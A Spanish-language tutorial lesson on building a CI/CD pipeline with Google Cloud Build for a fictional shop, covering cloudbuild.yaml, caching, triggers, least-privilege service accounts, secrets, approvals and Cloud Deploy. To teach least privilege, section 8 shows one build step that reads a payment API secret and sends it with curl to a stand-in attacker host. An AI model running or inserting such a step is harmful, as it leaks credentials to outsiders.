Hay aplicación, hay datos y hay modelos. Y todo depende de que dos personas se acuerden de ejecutar las cosas. Este módulo empieza justo ahí, y empieza por el eslabón más frágil de toda la cadena: cómo llega el código de Dani a producción.

La respuesta actual es incómoda de escribir. Dani abre un terminal en su portátil, ejecuta docker build, espera unos minutos, ejecuta docker push contra Artifact Registry y después lanza a mano el kubectl set image sobre alpinashop-cluster. Si ese día tiene una dependencia distinta instalada, la imagen sale distinta. Si olvida ejecutar las pruebas, nadie las ejecuta. Si está de baja, nadie despliega. Y si algo falla en producción, la única forma de saber qué versión hay corriendo es preguntárselo a él.

En esta lección eso se acaba. Vas a construir un proceso automático que, ante cada cambio del código, instala dependencias, ejecuta las pruebas, analiza el código, construye una imagen reproducible, la publica etiquetada con el identificador exacto del commit y la despliega en desarrollo sin que nadie toque un terminal. Y vas a entender por qué cada pieza está donde está, que es lo que distingue copiar un cloudbuild.yaml de saber diseñar uno.

Contenido

  1. El problema real: cómo se despliega AlpinaShop hoy
  2. Integración continua y entrega continua: qué significan de verdad
  3. Qué es Cloud Build y cómo ejecuta las cosas
  4. El fichero cloudbuild.yaml campo a campo
  5. El pipeline del catálogo de AlpinaShop, paso a paso
  6. Caché de compilación: por qué tu build tarda ocho minutos
  7. Disparadores: qué lanza la compilación y cuándo
  8. La cuenta de servicio de Cloud Build y el antipatrón del Editor
  9. Secretos durante la compilación con Secret Manager
  10. Promoción entre entornos y aprobaciones manuales
  11. Grupos de trabajadores privados dentro de la VPC
  12. Cloud Deploy: entrega progresiva gestionada
  13. Escaneo de vulnerabilidades y Binary Authorization
  14. El pipeline de ML del módulo 5, llevado al nivel 2
  15. Coste de las compilaciones

  1. El problema real: cómo se despliega AlpinaShop hoy

Merece la pena escribir el procedimiento actual como lo haría Dani si alguien le pidiera documentarlo:

# El "procedimiento de despliegue" de AlpinaShop, versión 2025
git pull
python -m pytest            # opcional, según las prisas
docker build -t catalogo .
docker tag catalogo europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:latest
docker push europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:latest
kubectl set image deployment/catalogo-web \
  catalogo=europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:latest \
  -n tienda

Son seis comandos. Parecen inofensivos. Contienen cinco problemas graves:

Problema Consecuencia concreta
Las pruebas son "opcionales según las prisas" El día que hay prisa es justo el día que se rompe algo
La imagen se construye en el portátil de Dani Su Python local, sus dependencias, su caché: no es reproducible
La etiqueta es latest Nadie puede saber qué código hay en producción ni volver atrás
No hay separación entre desarrollo y producción Lo que se prueba no es exactamente lo que se despliega
El proceso vive en la cabeza de una persona Bus factor de 1

El tercero es el más venenoso y conviene entenderlo bien. latest no es una versión: es un puntero móvil. Si mañana la tienda falla y quieres volver a la imagen de la semana pasada, no existe: la sobrescribiste. Si quieres saber qué commit generó el contenedor que está sirviendo peticiones, no hay forma. Una etiqueta inmutable derivada del commit convierte cada imagen en un punto exacto de la historia del código, y esa es la propiedad que hace posible todo lo demás: diagnóstico, auditoría y vuelta atrás.

  1. Integración continua y entrega continua: qué significan de verdad

Los dos términos se usan como si fueran uno, y no lo son.

Integración continua (CI) es la práctica de integrar el trabajo de todo el mundo en la rama principal con frecuencia —idealmente varias veces al día— y verificar automáticamente cada integración. Su producto no es un despliegue: es una respuesta rápida a la pregunta "¿este cambio rompe algo?". Si la respuesta tarda dos días, deja de ser útil, porque para entonces hay diez cambios más encima y ya no sabes cuál lo rompió.

Entrega continua (CD, continuous delivery) es la práctica de mantener el software siempre en un estado en el que podría desplegarse, con el despliegue automatizado hasta el punto de que lanzarlo sea pulsar un botón. La decisión de pulsarlo sigue siendo humana.

Despliegue continuo (continuous deployment) va un paso más allá: todo cambio que pasa las verificaciones va a producción solo, sin botón.

Práctica Qué automatiza ¿Hay decisión humana? ¿Encaja hoy en AlpinaShop?
Integración continua Construir, probar, analizar No hace falta Sí, desde ya
Entrega continua Todo lo anterior + desplegar bajo demanda Sí, el botón Sí, el objetivo del módulo
Despliegue continuo Todo, sin intervención No Todavía no: faltan pruebas y observabilidad

AlpinaShop va a implantar CI completa y entrega continua, con despliegue automático a alpinashop-dev y aprobación manual antes de alpinashop-prod. El despliegue continuo a producción es un objetivo legítimo, pero requiere una red de seguridad —cobertura de pruebas, alertas fiables, capacidad de vuelta atrás automática— que no existirá hasta después de 06-04 y 06-06.

Hay un beneficio de la CI que casi nunca se menciona y que es el más valioso: obliga a que el proyecto se pueda construir desde cero en una máquina limpia. El primer intento de escribir un pipeline de CI destapa siempre las mismas cosas: un fichero de configuración que solo existe en el portátil de alguien, una dependencia instalada a mano hace dos años, una variable de entorno que nadie documentó. Descubrirlas duele, pero descubrirlas en una compilación es infinitamente mejor que descubrirlas el día que se incorpora una persona nueva o que hay que reconstruir el entorno de urgencia.

  1. Qué es Cloud Build y cómo ejecuta las cosas

Cloud Build es el servicio gestionado de GCP para ejecutar procesos de compilación. Su modelo mental es sorprendentemente sencillo y merece la pena interiorizarlo porque explica todo su comportamiento:

Una compilación es una secuencia de pasos. Cada paso es un contenedor que se ejecuta sobre un directorio de trabajo compartido llamado /workspace.

Eso es todo. No hay un lenguaje de scripting propio, ni plugins, ni un modelo de extensión: si necesitas ejecutar algo, ejecutas un contenedor que sepa hacerlo.

flowchart LR
    A[Disparador:<br/>push a Git] --> B[Cloud Build<br/>clona el repo en /workspace]
    B --> C[Paso 1<br/>contenedor python]
    C --> D[Paso 2<br/>contenedor pytest]
    D --> E[Paso 3<br/>contenedor docker/kaniko]
    E --> F[Paso 4<br/>contenedor gcloud]
    F --> G[Artefactos:<br/>imagen en Artifact Registry]
    C -. mismo /workspace .-> D
    D -. mismo /workspace .-> E

Las tres consecuencias prácticas de este modelo:

  • Todo lo que persiste entre pasos vive en /workspace. Un paso que instala paquetes en /usr/local de su contenedor no le deja nada al siguiente. Un paso que escribe en /workspace/venv sí. Este es el detalle que más confusión causa a quien empieza, y volveremos a él en el apartado 5.
  • Cada paso puede usar la imagen que quiera. El paso de pruebas puede ser python:3.11, el de análisis estático golangci-lint, el de despliegue gcr.io/google.com/cloudsdktool/cloud-sdk. No hay que meterlo todo en una imagen monstruosa.
  • La compilación se ejecuta en infraestructura efímera de Google, no en tu portátil. Máquina limpia, siempre igual, y con una identidad propia (su cuenta de servicio, apartado 8).

Google publica imágenes de constructor (cloud builders) para las herramientas habituales: gcr.io/cloud-builders/docker, gcr.io/cloud-builders/gcloud, gcr.io/cloud-builders/git, gcr.io/cloud-builders/npm. Pero no estás obligado a usarlas: cualquier imagen pública o de tu Artifact Registry sirve, y en 2026 la recomendación general es usar imágenes oficiales del ecosistema (python:3.11-slim, node:22) en lugar de las de cloud-builders, que están congeladas en versiones antiguas.

  1. El fichero cloudbuild.yaml campo a campo

El pipeline se declara en un fichero YAML que vive en el repositorio, junto al código. Que viva ahí no es un detalle organizativo: significa que el proceso de compilación se versiona, se revisa en un pull request y evoluciona con el código al que sirve.

Este es el esqueleto completo con todos los campos que vas a usar:

steps:
  - name: 'python:3.11-slim'          # imagen del contenedor que ejecuta el paso
    id: 'instalar'                    # nombre del paso, para referirlo en waitFor
    entrypoint: 'bash'                # sobrescribe el ENTRYPOINT de la imagen
    args: ['-c', 'pip install -r requirements.txt -t /workspace/lib']
    env:                              # variables de entorno solo de este paso
      - 'PIP_DISABLE_PIP_VERSION_CHECK=1'

  - name: 'python:3.11-slim'
    id: 'pruebas'
    waitFor: ['instalar']             # dependencias explícitas entre pasos
    entrypoint: 'python'
    args: ['-m', 'pytest', '-q']

substitutions:                        # variables propias, siempre con guion bajo
  _REGION: 'europe-west1'
  _ENTORNO: 'dev'

images:                               # imágenes que Cloud Build publicará al final
  - 'europe-west1-docker.pkg.dev/$PROJECT_ID/alpinashop/catalogo:$COMMIT_SHA'

artifacts:                            # ficheros que se suben a Cloud Storage
  objects:
    location: 'gs://alpinashop-artefactos/informes/$BUILD_ID/'
    paths: ['informe-cobertura.xml']

options:
  machineType: 'E2_HIGHCPU_8'         # tamaño de la máquina de compilación
  logging: CLOUD_LOGGING_ONLY         # dónde van los logs (ver apartado 8)

timeout: '1200s'                      # tiempo máximo total de la compilación

Campo a campo, con lo que importa de cada uno:

Campo Qué hace Lo que hay que saber
steps Lista ordenada de pasos Por defecto se ejecutan en serie, en el orden escrito
name Imagen del contenedor del paso Fija la versión con etiqueta explícita, nunca latest
entrypoint Sobrescribe el ejecutable Necesario cuando la imagen ya trae un ENTRYPOINT propio
args Argumentos del comando Si usas bash -c, todo el script va en un solo elemento
env Variables de entorno del paso Solo de ese paso; no se propagan al siguiente
id Nombre del paso Solo sirve para que otros pasos lo referencien
waitFor Pasos previos requeridos La clave del paralelismo, ver abajo
dir Directorio de trabajo dentro de /workspace Útil en monorepos
substitutions Variables de la compilación Las tuyas deben empezar por _
images Imágenes a publicar al terminar Se publican solo si todos los pasos han ido bien
artifacts Ficheros a subir a Cloud Storage Informes de cobertura, binarios, etc.
options Configuración global Tamaño de máquina, logging, cuenta de servicio
timeout Límite total Por defecto 60 minutos; si se supera, la compilación falla

waitFor: cómo se paraleliza una compilación

Por defecto cada paso espera al anterior. Con waitFor declaras de qué depende realmente cada paso, y Cloud Build ejecuta en paralelo todo lo que puede:

  - name: 'python:3.11-slim'
    id: 'pruebas'
    waitFor: ['instalar']

  - name: 'python:3.11-slim'
    id: 'lint'
    waitFor: ['instalar']        # también depende de 'instalar', no de 'pruebas'
                                 # → 'pruebas' y 'lint' corren EN PARALELO

  - name: 'gcr.io/kaniko-project/executor:latest'
    id: 'construir'
    waitFor: ['pruebas', 'lint'] # espera a los dos

Hay un valor especial: waitFor: ['-'] significa "no esperes a nadie, arranca desde el principio". Es útil para tareas independientes como descargar una caché.

El paralelismo aquí no es una micro-optimización. Si las pruebas tardan tres minutos y el análisis estático otros dos, ejecutarlos a la vez convierte una compilación de cinco minutos en una de tres. Y la velocidad de la CI determina si el equipo la usa: un pipeline de veinte minutos se acaba saltando; uno de cuatro, no.

Sustituciones: las de Cloud Build y las tuyas

Cloud Build rellena automáticamente un conjunto de variables:

Variable Contenido Uso típico
$PROJECT_ID Proyecto donde corre la compilación Rutas de Artifact Registry
$COMMIT_SHA SHA completo del commit La etiqueta de la imagen
$SHORT_SHA Primeros 7 caracteres del SHA Etiquetas legibles
$BRANCH_NAME Rama que disparó la compilación Lógica condicional por rama
$TAG_NAME Etiqueta Git, si el disparador es por tag Versiones de release
$BUILD_ID Identificador único de la compilación Rutas de artefactos, correlación de logs
$REPO_NAME Nombre del repositorio Monorepos

$COMMIT_SHA y $SHORT_SHA solo tienen valor si la compilación viene de un disparador conectado a un repositorio. Si lanzas gcloud builds submit desde tu máquina, están vacías. Es una causa de fallo muy común: la imagen se publica con la etiqueta catalogo: y nadie entiende por qué.

Tus propias sustituciones llevan _ delante y se declaran en substitutions: con un valor por defecto que el disparador puede sobrescribir. Ese es el mecanismo con el que un mismo cloudbuild.yaml sirve para varios entornos.

  1. El pipeline del catálogo de AlpinaShop, paso a paso

Este es el fichero real que va a la raíz del repositorio del catálogo. Léelo entero y después lo desmontamos:

substitutions:
  _REGION: 'europe-west1'
  _REPO: 'europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop'
  _SERVICIO: 'catalogo'
  _CLUSTER: 'alpinashop-cluster'
  _NAMESPACE: 'tienda'

steps:
  # 1. Dependencias: se instalan DENTRO de /workspace para que persistan
  - name: 'python:3.11-slim'
    id: 'instalar'
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        pip install --upgrade pip
        pip install -r requirements.txt -r requirements-dev.txt \
                    --target=/workspace/lib

  # 2. Pruebas unitarias con pytest
  - name: 'python:3.11-slim'
    id: 'pruebas'
    waitFor: ['instalar']
    entrypoint: 'bash'
    env: ['PYTHONPATH=/workspace/lib']
    args:
      - '-c'
      - |
        python -m pytest -q --junitxml=/workspace/informe-pruebas.xml \
               --cov=catalogo --cov-report=xml:/workspace/cobertura.xml
        python -m coverage report --fail-under=70

  # 3. Análisis estático, EN PARALELO con las pruebas
  - name: 'python:3.11-slim'
    id: 'lint'
    waitFor: ['instalar']
    entrypoint: 'bash'
    env: ['PYTHONPATH=/workspace/lib']
    args:
      - '-c'
      - |
        python -m ruff check catalogo/
        python -m bandit -r catalogo/ -ll

  # 4. Construir la imagen con kaniko y caché
  - name: 'gcr.io/kaniko-project/executor:v1.23.2'
    id: 'construir'
    waitFor: ['pruebas', 'lint']
    args:
      - '--destination=${_REPO}/${_SERVICIO}:$COMMIT_SHA'
      - '--cache=true'
      - '--cache-ttl=168h'
      - '--dockerfile=Dockerfile'
      - '--context=dir:///workspace/'

  # 5. Desplegar en el entorno de desarrollo
  - name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
    id: 'desplegar-dev'
    waitFor: ['construir']
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        gcloud container clusters get-credentials ${_CLUSTER} \
          --region ${_REGION} --project alpinashop-dev
        kubectl set image deployment/${_SERVICIO}-web \
          ${_SERVICIO}=${_REPO}/${_SERVICIO}:$COMMIT_SHA \
          -n ${_NAMESPACE}
        kubectl rollout status deployment/${_SERVICIO}-web \
          -n ${_NAMESPACE} --timeout=180s

artifacts:
  objects:
    location: 'gs://alpinashop-artefactos/builds/$BUILD_ID/'
    paths: ['informe-pruebas.xml', 'cobertura.xml']

options:
  machineType: 'E2_HIGHCPU_8'
  logging: CLOUD_LOGGING_ONLY

timeout: '900s'

Paso 1, dependencias. El --target=/workspace/lib es la pieza que hace que esto funcione. Sin él, pip instalaría en el site-packages del contenedor python:3.11-slim, ese contenedor terminaría, y el paso 2 arrancaría un contenedor nuevo y limpio sin las dependencias. Con él, los paquetes quedan en el directorio compartido y el paso 2 los encuentra gracias a PYTHONPATH.

Paso 2, pruebas. Dos cosas importantes. --junitxml genera un informe en formato estándar que después se sube como artefacto —útil para revisar qué falló sin bucear en los logs—. Y --fail-under=70 hace que la compilación falle si la cobertura baja del 70 %. Esa línea es una decisión de política, no técnica: convierte "deberíamos escribir más pruebas" en una regla que el sistema aplica. Empieza con un umbral que ya cumplas y súbelo poco a poco; poner un 90 % de golpe en un proyecto que está al 40 % solo consigue que alguien borre la línea.

Paso 3, análisis estático. ruff detecta problemas de estilo y errores evidentes; bandit busca patrones inseguros en Python —credenciales embebidas, uso de subprocess con shell=True, algoritmos criptográficos débiles—. El -ll limita el aviso a severidad media o superior para evitar ruido. Fíjate en que su waitFor apunta a instalar, no a pruebas: por eso se ejecuta a la vez.

Paso 4, construir. Se usa kaniko en lugar de docker build, y el motivo es doble: kaniko construye imágenes sin necesitar un demonio Docker con privilegios, y trae caché de capas remota integrada. El apartado 6 entra en detalle. La etiqueta es $COMMIT_SHA y no aparece latest por ninguna parte.

Paso 5, desplegar en desarrollo. El despliegue va a alpinashop-dev, nunca a alpinashop-prod desde este pipeline. Y el kubectl rollout status --timeout=180s es imprescindible: sin él, el paso terminaría con éxito en cuanto Kubernetes acepta la orden, aunque los pods nuevos entren en CrashLoopBackOff treinta segundos después. Con él, la compilación falla si el despliegue no converge, que es lo que quieres saber.

Para lanzarlo a mano mientras lo pruebas:

gcloud builds submit --config=cloudbuild.yaml \
  --substitutions=_SERVICIO=catalogo \
  --project=alpinashop-cicd .

Fíjate en el proyecto: alpinashop-cicd. Hasta ahora ese proyecto estaba creado y vacío. Aquí empieza a tener sentido: las compilaciones se ejecutan en un proyecto propio, separado de los entornos que despliegan. Eso permite dar a Cloud Build permisos acotados sobre alpinashop-dev y alpinashop-prod sin que viva dentro de ellos, y mantiene el historial de compilaciones y sus logs fuera de los proyectos de producción.

  1. Caché de compilación: por qué tu build tarda ocho minutos

La primera compilación tarda lo que tarda. Las siguientes no deberían, y si tardan lo mismo es que no hay caché.

Una imagen Docker es una pila de capas, y cada instrucción del Dockerfile genera una. Si una capa no ha cambiado y las anteriores tampoco, se puede reutilizar. El problema es que Cloud Build ejecuta cada compilación en una máquina limpia: no hay caché local que reutilizar. Hay que traerla de algún sitio.

Dos mecanismos, con distinto perfil:

Mecanismo Cómo funciona Cuándo usarlo
kaniko con --cache=true Sube y baja capas de un repositorio de caché en Artifact Registry, automáticamente Por defecto, casi siempre
docker build --cache-from Descarga una imagen previa y la usa como referencia de capas Cuando necesitas Docker por otro motivo

Con --cache-from el patrón es este, y tiene una trampa:

  - name: 'gcr.io/cloud-builders/docker'
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        docker pull ${_REPO}/${_SERVICIO}:cache || true   # el || true es clave
        docker build \
          --cache-from ${_REPO}/${_SERVICIO}:cache \
          -t ${_REPO}/${_SERVICIO}:$COMMIT_SHA \
          -t ${_REPO}/${_SERVICIO}:cache .

El || true evita que la primera compilación falle, cuando todavía no existe ninguna imagen de caché que descargar. Es un detalle pequeño que rompe muchos pipelines nuevos.

Pero la caché solo ayuda si el Dockerfile está ordenado para aprovecharla. Compara:

# MAL: cualquier cambio en el código invalida la instalación de dependencias
COPY . /app
RUN pip install -r /app/requirements.txt

# BIEN: las dependencias solo se reinstalan si requirements.txt cambia
COPY requirements.txt /app/
RUN pip install -r /app/requirements.txt
COPY . /app

La regla general: de lo que menos cambia a lo que más cambia. Las dependencias cambian una vez al mes; el código, veinte veces al día. Si copias el código antes de instalar dependencias, cada commit reinstala todo. Este cambio de tres líneas suele recortar más tiempo de compilación que cualquier ajuste de máquina.

El otro factor es el tamaño de la máquina. El valor por defecto es modesto; E2_HIGHCPU_8 cuesta más por minuto pero puede reducir el tiempo total lo suficiente para salir más barato, además de dar respuesta más rápida al equipo. Mídelo antes de decidir: en compilaciones dominadas por descargas de red, más CPU no aporta nada.

  1. Disparadores: qué lanza la compilación y cuándo

Un disparador (trigger) es la regla que conecta un evento de un repositorio con un cloudbuild.yaml. Sin disparadores tienes un script; con ellos, integración continua.

Tipo Evento Uso en AlpinaShop
Push a rama Commit en una rama que coincide con un patrón ^main$ → construir y desplegar en dev
Pull request Apertura o actualización de un PR Construir y probar sin desplegar
Etiqueta (tag) Se crea una etiqueta Git ^v\d+\.\d+\.\d+$ → candidata a producción
Manual Alguien lo lanza desde consola o gcloud Recompilaciones puntuales, migraciones
Webhook / Pub/Sub Mensaje externo Reentrenamiento de ML, ver apartado 14

Crear el disparador de rama principal:

gcloud builds triggers create github \
  --name=catalogo-main \
  --repo-name=alpinashop-catalogo \
  --repo-owner=alpinashop \
  --branch-pattern='^main$' \
  --build-config=cloudbuild.yaml \
  --region=europe-west1 \
  --service-account=projects/alpinashop-cicd/serviceAccounts/[email protected] \
  --project=alpinashop-cicd

Y el de pull request, que es el que realmente protege la rama principal:

gcloud builds triggers create github \
  --name=catalogo-pr \
  --repo-name=alpinashop-catalogo \
  --repo-owner=alpinashop \
  --pull-request-pattern='^main$' \
  --comment-control=COMMENTS_ENABLED_FOR_EXTERNAL_CONTRIBUTORS_ONLY \
  --build-config=cloudbuild-pr.yaml \
  --region=europe-west1 \
  --project=alpinashop-cicd

El cloudbuild-pr.yaml es el mismo pipeline sin el paso de despliegue: instala, prueba y analiza. Su función es dar un veredicto verde o rojo en el pull request antes de que nadie lo fusione. El --comment-control evita que un contribuidor externo desconocido pueda ejecutar código arbitrario en tu proyecto abriendo un PR; en un repositorio privado de un equipo pequeño importa menos, pero es un buen hábito.

Un filtro muy útil en repositorios con varias cosas dentro es --included-files, que evita compilar el catálogo porque alguien corrigió una errata en el README:

  --included-files='catalogo/**,requirements*.txt,Dockerfile,cloudbuild.yaml' \
  --ignored-files='**/*.md,docs/**'

La conexión con el repositorio se configura una sola vez. AlpinaShop la hará con GitHub a través de la aplicación de Cloud Build, y todo el detalle —incluida la alternativa de Cloud Source Repositories y por qué está en desuso— es exactamente el tema de 06-02.

  1. La cuenta de servicio de Cloud Build y el antipatrón del Editor

Este es el apartado que más disgustos evita.

Toda compilación se ejecuta con una identidad. Históricamente Cloud Build usaba una cuenta de servicio automática, <número-proyecto>@cloudbuild.gserviceaccount.com, a la que Google concedía el rol Editor sobre el proyecto. Cómodo y catastrófico: significa que cualquiera que pueda modificar el cloudbuild.yaml puede hacer casi cualquier cosa en el proyecto. Y modificar ese fichero es simplemente abrir un pull request.

Imagina el ataque, que no requiere ningún conocimiento especial:

# Un paso añadido en un pull request aparentemente inocente
  - name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
    entrypoint: 'bash'
    args: ['-c', 'gcloud secrets versions access latest --secret=api-key-pasarela-pago | curl -X POST -d @- https://servidor-del-atacante.example']

Si la cuenta de Cloud Build tiene Editor, ese paso funciona. Por eso, desde 2024, los proyectos nuevos ya no reciben el rol Editor por defecto y se recomienda especificar una cuenta de servicio propia por disparador. Y por eso el disparador del apartado 7 lleva --service-account.

La configuración correcta para AlpinaShop, con el principio de mínimo privilegio de 03-04 aplicado de verdad:

# Cuenta dedicada al pipeline del catálogo, en el proyecto de CI/CD
gcloud iam service-accounts create sa-build-catalogo \
  --display-name="Cloud Build - catalogo web" \
  --project=alpinashop-cicd

[email protected]

# Escribir en Artifact Registry: solo eso, en el repositorio concreto
gcloud artifacts repositories add-iam-policy-binding alpinashop \
  --location=europe-west1 --project=alpinashop-prod \
  --member="serviceAccount:${SA}" --role=roles/artifactregistry.writer

# Desplegar en el clúster de DESARROLLO, no en producción
gcloud projects add-iam-policy-binding alpinashop-dev \
  --member="serviceAccount:${SA}" --role=roles/container.developer

# Escribir sus propios logs
gcloud projects add-iam-policy-binding alpinashop-cicd \
  --member="serviceAccount:${SA}" --role=roles/logging.logWriter

Tres roles. Ni uno más. Fíjate en lo que no tiene: ningún permiso sobre alpinashop-prod salvo escribir en el repositorio de imágenes, ningún acceso a Secret Manager que no se le conceda secreto a secreto, ninguna capacidad de tocar IAM, ninguna capacidad de borrar nada.

Hay un detalle operativo asociado: cuando usas una cuenta de servicio propia, debes especificar logging: CLOUD_LOGGING_ONLY en options (o darle un bucket de Cloud Storage donde escribir), porque el comportamiento por defecto exige permisos que esa cuenta no tiene. Es el primer error que aparece al migrar, y el mensaje no es especialmente claro.

La regla mental que conviene grabarse: el pipeline de CI/CD es el sistema con más privilegios de tu infraestructura, porque por definición puede desplegar código en todas partes. Trátalo como tal. Si un atacante tiene que elegir un objetivo en AlpinaShop, no elegirá la web: elegirá esto.

  1. Secretos durante la compilación con Secret Manager

Algunas compilaciones necesitan credenciales: un token para publicar en un registro privado, una clave de API para un servicio de análisis. Lo que nunca debe ocurrir es que esa credencial esté escrita en el cloudbuild.yaml, porque ese fichero está en Git y ahí se queda para siempre, aunque después lo borres.

Cloud Build se integra con Secret Manager (03-06) mediante availableSecrets:

availableSecrets:
  secretManager:
    - versionName: projects/alpinashop-prod/secrets/token-registro-privado/versions/latest
      env: 'TOKEN_REGISTRO'

steps:
  - name: 'python:3.11-slim'
    id: 'publicar-paquete'
    entrypoint: 'bash'
    secretEnv: ['TOKEN_REGISTRO']      # este paso, y solo este, ve el secreto
    args:
      - '-c'
      - |
        pip config set global.index-url \
          "https://oauth2accesstoken:[email protected]/alpinashop-prod/pypi/simple/"
        python -m build && python -m twine upload dist/*

Tres detalles que hay que entender:

  • $$TOKEN_REGISTRO lleva dos dólares. Un solo $ haría que Cloud Build intentara sustituirlo como si fuera una variable suya, encontrase que no existe y dejase la cadena vacía. Con $$ el valor llega literal al shell, que es quien resuelve la variable de entorno.
  • secretEnv va por paso. Solo los pasos que lo declaran ven el secreto. Un paso de pruebas no tiene por qué tener acceso al token de publicación.
  • La cuenta de servicio de la compilación necesita roles/secretmanager.secretAccessor sobre ese secreto concreto, concedido en la política del propio secreto, no a nivel de proyecto.

Y una advertencia que parece obvia y sin embargo pasa: si tu script imprime el secreto, aparece en los logs. Cloud Build no censura la salida. Un set -x en un script bash o un echo de depuración olvidado bastan para filtrar una credencial a Cloud Logging, donde la puede leer cualquiera con permiso de lectura de logs. Si sospechas que ha ocurrido, la respuesta correcta no es borrar el log: es rotar el secreto.

  1. Promoción entre entornos y aprobaciones manuales

El pipeline construido despliega en alpinashop-dev. Producción necesita otra cosa, y esa otra cosa se llama promoción.

El principio es sencillo y es la razón de ser de la etiqueta inmutable:

La imagen que va a producción es exactamente la misma que se probó en desarrollo. No se reconstruye. Se promociona.

Si en producción se reconstruyera la imagen desde el código, sería una imagen distinta —otra fecha, quizá otra versión de una dependencia transitiva— y todo lo verificado en desarrollo dejaría de valer. Lo que cambia entre entornos es la configuración (variables, secretos, tamaño), no el artefacto.

flowchart LR
    A[Push a main] --> B[CI: pruebas + lint]
    B --> C[Imagen :SHA en<br/>Artifact Registry]
    C --> D[Despliegue automático<br/>alpinashop-dev]
    D --> E{Aprobación<br/>manual}
    E -->|Marta aprueba| F[Despliegue<br/>alpinashop-prod]
    E -->|Rechaza| G[Se queda en dev]
    F --> H[Verificación<br/>post-despliegue]

El disparador de producción se crea con --require-approval:

gcloud builds triggers create manual \
  --name=catalogo-promocion-prod \
  --repo=https://github.com/alpinashop/alpinashop-catalogo \
  --repo-type=GITHUB \
  --branch=main \
  --build-config=cloudbuild-prod.yaml \
  --require-approval \
  --region=europe-west1 \
  --service-account=projects/alpinashop-cicd/serviceAccounts/[email protected] \
  --project=alpinashop-cicd

Cuando ese disparador se activa, la compilación queda en estado pendiente hasta que alguien con el rol roles/cloudbuild.builds.approver la aprueba desde la consola. Marta lo tiene; Dani no. Y esa separación no es desconfianza: es la aplicación al despliegue del mismo principio de 03-04 según el cual nadie es owner de producción.

Fíjate también en que el despliegue a producción usa otra cuenta de servicio, sa-deploy-prod, que sí tiene permisos sobre alpinashop-prod. La cuenta que ejecuta las pruebas y construye la imagen nunca los tiene. Si alguien compromete el pipeline de CI, no llega a producción sin pasar por una aprobación humana ejecutada con otra identidad.

El cloudbuild-prod.yaml recibe la etiqueta a desplegar como sustitución y no construye nada:

substitutions:
  _IMAGEN_SHA: ''        # obligatorio: se pasa al aprobar

steps:
  - name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
    entrypoint: 'bash'
    args:
      - '-c'
      - |
        test -n "${_IMAGEN_SHA}" || { echo "Falta _IMAGEN_SHA"; exit 1; }
        gcloud container clusters get-credentials alpinashop-cluster \
          --region europe-west1 --project alpinashop-prod
        kubectl set image deployment/catalogo-web \
          catalogo=europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:${_IMAGEN_SHA} \
          -n tienda
        kubectl rollout status deployment/catalogo-web -n tienda --timeout=300s

La comprobación test -n de la primera línea existe porque una sustitución vacía produciría la etiqueta catalogo:, que falla de forma confusa. Es una guarda de tres palabras que ahorra media hora de desconcierto.

  1. Grupos de trabajadores privados dentro de la VPC

Por defecto las compilaciones se ejecutan en un grupo de trabajadores compartido de Google, con salida a internet y sin acceso a tu VPC. Para AlpinaShop eso funciona hasta el día en que una prueba de integración necesita conectarse a alpinashop-pedidos por IP privada, o el paso de despliegue tiene que llegar a un endpoint interno.

Un grupo de trabajadores privado (private pool) es un conjunto de máquinas de compilación conectadas a tu VPC:

gcloud builds worker-pools create pool-alpinashop \
  --region=europe-west1 \
  --project=alpinashop-cicd \
  --peered-network=projects/alpinashop-prod/global/networks/alpinashop-vpc \
  --worker-machine-type=e2-standard-4 \
  --no-public-egress

Y se usa desde el cloudbuild.yaml:

options:
  pool:
    name: 'projects/alpinashop-cicd/locations/europe-west1/workerPools/pool-alpinashop'
Aspecto Grupo compartido Grupo privado
Acceso a la VPC No Sí, por emparejamiento
Salida a internet Sí Configurable (--no-public-egress)
IP de salida De Google, variable Fija, se puede permitir en un firewall
Coste Solo minutos de compilación Minutos + máquinas reservadas
Cuándo usarlo Por defecto Pruebas contra recursos privados, requisitos de cumplimiento

El --no-public-egress merece una nota: elimina la salida a internet, lo que es excelente para la seguridad y rompe cualquier paso que descargue dependencias de PyPI o imágenes de Docker Hub. Si lo activas, necesitas réplicas internas de esos repositorios en Artifact Registry. Es una decisión seria; para AlpinaShop hoy, el grupo compartido es suficiente y el privado se reserva para cuando haya pruebas de integración contra Cloud SQL.

  1. Cloud Deploy: entrega progresiva gestionada

Cloud Build es excelente construyendo y aceptable desplegando. Cuando el despliegue se complica —tres entornos, despliegue canario, vuelta atrás con un comando, historial de qué versión estuvo en cada sitio— hay una herramienta específica: Cloud Deploy.

Cloud Deploy modela un pipeline de entrega con destinos ordenados y gestiona la promoción entre ellos:

apiVersion: deploy.cloud.google.com/v1
kind: DeliveryPipeline
metadata:
  name: catalogo-web
serialPipeline:
  stages:
    - targetId: desarrollo
      profiles: [dev]
    - targetId: produccion
      profiles: [prod]
      strategy:
        canary:
          runtimeConfig:
            kubernetes:
              serviceNetworking:
                service: catalogo-svc
                deployment: catalogo-web
          canaryDeployment:
            percentages: [10, 50]      # 10 % → 50 % → 100 %
            verify: true
---
apiVersion: deploy.cloud.google.com/v1
kind: Target
metadata:
  name: produccion
requireApproval: true
gke:
  cluster: projects/alpinashop-prod/locations/europe-west1/clusters/alpinashop-cluster

Lo que aporta sobre un kubectl set image en Cloud Build:

  • Despliegue canario real: el 10 % del tráfico va a la versión nueva, se verifica, se pasa al 50 %, se verifica, y solo entonces al 100 %.
  • Vuelta atrás con un comando, sin reconstruir nada, porque conoce el historial de lo desplegado.
  • Registro de qué versión está en qué destino, que responde a la pregunta "¿qué hay en producción?" sin preguntarle a nadie.
  • Aprobaciones por destino integradas.
Situación Herramienta
Un servicio, dos entornos, despliegue directo Cloud Build es suficiente
Varios servicios, tres o más entornos Cloud Deploy
Necesitas canario o blue/green gestionado Cloud Deploy
Quieres respuesta a "qué versión hay dónde" sin scripts Cloud Deploy

